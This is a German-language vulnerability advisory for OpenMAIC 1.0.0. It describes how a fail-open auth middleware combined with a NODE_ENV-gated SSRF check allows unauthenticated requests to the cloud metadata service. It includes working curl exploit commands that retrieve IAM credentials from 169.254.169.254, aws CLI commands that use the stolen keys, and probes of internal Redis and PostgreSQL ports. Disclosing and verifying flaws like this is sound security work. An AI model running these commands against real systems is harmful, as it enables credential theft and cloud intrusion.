
OpenMAIC 1.0.0: Nicht authentifizierte ausgehende SSRF zum Cloud-Metadatendienst über Fail-Open-Middleware und umgebungsgesteuerte Validierungsumgehung
Verifiziert. In der Authentifizierungs-Middleware und der ausgehenden Provider-Anfrageschicht von OpenMAIC existiert eine zweiteilige Exploit-Kette, die es einem nicht authentifizierten Remote-Angreifer ermöglicht, den Anwendungsserver dazu zu bringen, beliebige ausgehende HTTP-Anfragen zu stellen – einschließlich an den Cloud Instance Metadata Service (IMDS) unter 169.254.169.254 – ohne überhaupt irgendwelche Anmeldedaten zu besitzen.
Teil 1: Die Next.js Edge Middleware in middleware.ts implementiert eine Fail-Open-Haltung, wenn die Umgebungsvariable ACCESS_CODE fehlt. In der Standardkonfiguration von .env.example ist ACCESS_CODE nicht gesetzt, was bedeutet, dass alle 70 API-Routen global unauthentifiziert und für jeden externen Client erreichbar sind.
Teil 2: Bei fünf verschiedenen API-Route-Handlern werden vom Client bereitgestellte Provider-Basis-URLs (über die Anfrageparameter x-base-url oder baseUrl) nur dann durch validateUrlForSSRF() geleitet, wenn process.env.NODE_ENV === 'production' gilt. In jeder development-, staging-, preview- oder nicht gesetzten Umgebung wird der SSRF-Schutz vollständig übersprungen und die Anwendung führt ein ausgehendes fetch() an die vom Angreifer kontrollierte URL aus.
Verkettet: Ein nicht authentifizierter Angreifer übergibt x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ an einen beliebigen Generierungs-Endpunkt, und der Server ruft die Cloud-IAM-Rollen-Anmeldedaten ab und gibt sie in der Antwort zurück. Kein vorheriges Konto, kein Token, kein lokaler Zugang erforderlich.
Die Middleware ist das einzige Authentifizierungs-Gate für alle API-Routen. Wenn ACCESS_CODE nicht gesetzt ist – der Standardzustand gemäß .env.example – passiert jede Anfrage an jede Route sofort. Es gibt keinen Fallback-Mechanismus, keine ausgegebene Warnung, keine alternative Authentifizierungsprüfung. Das Fail-Open ist bedingungslos und still. Dies legt 70 API-Endpunkte offen, einschließlich Generierungs-, Persistenz-, Medien-Proxy-, Extraktions- und KI-Ausführungsrouten, für jeden nicht authentifizierten Aufrufer.
Die Funktion validateUrlForSSRF in lib/server/ssrf-guard.ts behandelt bereits umgebungsspezifische Ausnahmen korrekt über ALLOW_LOCAL_NETWORKS. Das NODE_ENV-Gate in jedem Route-Handler ist als Dev-Mode-Annehmlichkeit völlig redundant, aber als Sicherheitsgrenze katastrophal: Es deaktiviert die SSRF-Validierung global über Staging-, Preview-, CI/CD- und selbstgehostete Deployments hinweg, in denen NODE_ENV nicht explizit auf 'production' gesetzt ist.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Erwartete Antwort (IMDS-Passthrough):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Erwartete Antwort:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis auf Standardport - RESP-Protokollantwort in API-Fehler zurückgegeben
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL auf Standardport
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Phase | Schritt | Wirkung |
|---|---|---|
| 1. Unauthentifizierter Eintritt | Remote-Client sendet HTTP-Anfrage an /api/generate/image ohne Cookies oder Tokens | middleware.ts wertet !process.env.ACCESS_CODE aus und ruft NextResponse.next() auf |
| 2. Header-Aufnahme | Angreifer gibt Ziel-Internadresse im Header an: x-base-url: http://169.254.169.254/... | Route-Handler extrahiert clientBaseUrl aus den Anfrage-Headern |
| 3. SSRF-Umgehung | Serverumgebung hat NODE_ENV !== 'production' (z. B. Staging oder Container-Standard) | Handler wertet process.env.NODE_ENV === 'production' zu false aus und überspringt validateUrlForSSRF() |
| 4. Ausgehende Anfrage-Senke | Service-Client initialisiert mit vom Angreifer bereitgestellter Basis-URL und führt Anfrage aus | Server führt ausgehendes fetch() an http://169.254.169.254/ aus |
| 5. Metadaten-Exfiltration | Cloud-Instanz-Metadatendienst antwortet mit Metadaten oder IAM-Sicherheitsanmeldedaten | Server integriert HTTP-Antwortkörper in API-Rückgabe-Payload oder Fehlermeldung |
| 6. Cloud-Pivot | Angreifer extrahiert temporäre AWS/GCP/Azure-Sicherheitsanmeldedaten | Angreifer nutzt Cloud-Anmeldedaten extern, um auf Cloud-Ressourcen und Datenspeicher zuzugreifen |
Vorbedingungen:
ACCESS_CODE bereitgestellt (Standardkonfiguration).NODE_ENV ist nicht strikt auf 'production' gesetzt (z. B. Staging, Dev, selbstgehostet oder fehlkonfigurierter Container).Um Erreichbarkeit zu bestätigen und Sicherheitsverteidigungen zu validieren, ohne bösartige Payloads bereitzustellen:
process.env.ACCESS_CODE undefiniert ist, gibt middleware.ts NextResponse.next() zurück. Das Senden einer HTTP-Anfrage ohne Auth-Header an einen beliebigen geschützten Endpunkt (z. B. POST /api/generate/image) liefert eine Endpunkt-Level-Antwort (z. B. 400/401 für Provider-Konfiguration) statt einer 401-Ablehnung „Access Code Required".NODE_ENV="staging" oder NODE_ENV="development" prüfen, ob validateUrlForSSRF aufgerufen wird. Aufgrund von if (clientBaseUrl && process.env.NODE_ENV === 'production') springt die Ausführung am Validierungsblock vorbei und versucht eine Netzwerkverbindung zur angegebenen Basis-URL.NODE_ENV='development' setzt und eine Loopback-URL http://127.0.0.1:9999 bereitstellt, verifiziert, ob die Anfrage mit INVALID_URL (403) abgelehnt oder bis zum Netzwerktransport zugelassen wird. Im ungepatchten Zustand versucht die Anfrage eine Socket-Verbindung; im gepatchten Zustand wird sie sofort mit HTTP 403 abgelehnt.